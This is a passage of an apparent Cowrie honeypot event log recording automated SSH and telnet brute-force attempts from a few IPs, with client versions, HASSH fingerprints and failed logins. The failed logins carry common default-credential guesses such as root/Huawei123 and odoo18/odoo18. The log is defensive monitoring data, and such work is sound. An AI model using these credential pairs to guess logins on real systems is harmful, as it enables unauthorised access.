cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:49.845215Z","src_ip":"159.203.92.129","session":"10aba5a14519","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"123abcABC","message":"login attempt [ansible/123abcABC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:49.857723Z","src_ip":"159.203.92.129","session":"10aba5a14519","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:50.372228Z","src_ip":"176.65.139.103","session":"5b56dbe90853","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:50.864398Z","src_ip":"159.203.92.129","session":"10aba5a14519","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":54680,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c9e4290d2ce","protocol":"ssh","message":"New connection: 176.65.139.103:54680 (10.17.0.5:22) [session: 0c9e4290d2ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:55.811467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:55.816142Z","src_ip":"176.65.139.103","session":"0c9e4290d2ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:55.917601Z","src_ip":"176.65.139.103","session":"0c9e4290d2ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@2026","message":"login attempt [root/root@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:56.179129Z","src_ip":"176.65.139.103","session":"0c9e4290d2ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:17:57.264516Z","src_ip":"176.65.139.103","session":"0c9e4290d2ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":54686,"dst_ip":"10.17.0.5","dst_port":22,"session":"88aae0e7d48c","protocol":"ssh","message":"New connection: 176.65.139.103:54686 (10.17.0.5:22) [session: 88aae0e7d48c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:02.520725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:02.525429Z","src_ip":"176.65.139.103","session":"88aae0e7d48c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:02.611152Z","src_ip":"176.65.139.103","session":"88aae0e7d48c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"odoo18","message":"login attempt [odoo18/odoo18] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:02.883508Z","src_ip":"176.65.139.103","session":"88aae0e7d48c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:04.049426Z","src_ip":"176.65.139.103","session":"88aae0e7d48c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":41296,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c77568973dc","protocol":"ssh","message":"New connection: 176.65.139.103:41296 (10.17.0.5:22) [session: 1c77568973dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:08.702882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:08.725789Z","src_ip":"176.65.139.103","session":"1c77568973dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:08.931948Z","src_ip":"176.65.139.103","session":"1c77568973dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei123","message":"login attempt [root/Huawei123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:09.310160Z","src_ip":"176.65.139.103","session":"1c77568973dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:10.397856Z","src_ip":"176.65.139.103","session":"1c77568973dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":55704,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b3fe281732f","protocol":"ssh","message":"New connection: 176.65.139.103:55704 (10.17.0.5:22) [session: 8b3fe281732f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:15.342641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:15.347938Z","src_ip":"176.65.139.103","session":"8b3fe281732f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:15.430428Z","src_ip":"176.65.139.103","session":"8b3fe281732f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eve","message":"login attempt [root/eve] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:15.682407Z","src_ip":"176.65.139.103","session":"8b3fe281732f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:16.991721Z","src_ip":"176.65.139.103","session":"8b3fe281732f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":44784,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc47b633f8d4","protocol":"telnet","message":"New connection: 185.26.126.47:44784 (159.203.135.109:23) [session: cc47b633f8d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:20.268295Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":55716,"dst_ip":"10.17.0.5","dst_port":22,"session":"f781f1db33ab","protocol":"ssh","message":"New connection: 176.65.139.103:55716 (10.17.0.5:22) [session: f781f1db33ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:21.567451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:21.571413Z","src_ip":"176.65.139.103","session":"f781f1db33ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:21.653162Z","src_ip":"176.65.139.103","session":"f781f1db33ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"******","message":"login attempt [root/******] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:21.901462Z","src_ip":"176.65.139.103","session":"f781f1db33ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:23.065720Z","src_ip":"176.65.139.103","session":"f781f1db33ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":53762,"dst_ip":"10.17.0.5","dst_port":22,"session":"294481858fde","protocol":"ssh","message":"New connection: 176.65.139.103:53762 (10.17.0.5:22) [session: 294481858fde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:27.798474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:27.808342Z","src_ip":"176.65.139.103","session":"294481858fde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:27.897005Z","src_ip":"176.65.139.103","session":"294481858fde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345","message":"login attempt [user/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:28.384737Z","src_ip":"176.65.139.103","session":"294481858fde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:29.469081Z","src_ip":"176.65.139.103","session":"294481858fde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":44472,"dst_ip":"10.17.0.5","dst_port":22,"session":"79025a04055a","protocol":"ssh","message":"New connection: 176.65.139.103:44472 (10.17.0.5:22) [session: 79025a04055a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:34.125214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:34.130704Z","src_ip":"176.65.139.103","session":"79025a04055a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:34.213105Z","src_ip":"176.65.139.103","session":"79025a04055a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"runner","message":"login attempt [runner/runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:34.459450Z","src_ip":"176.65.139.103","session":"79025a04055a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57196,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3c47b7f41f5","protocol":"ssh","message":"New connection: 159.203.92.129:57196 (159.203.135.109:22) [session: f3c47b7f41f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:35.244936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:18:35.249812Z","src_ip":"159.203.92.129","session":"f3c47b7f41f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"co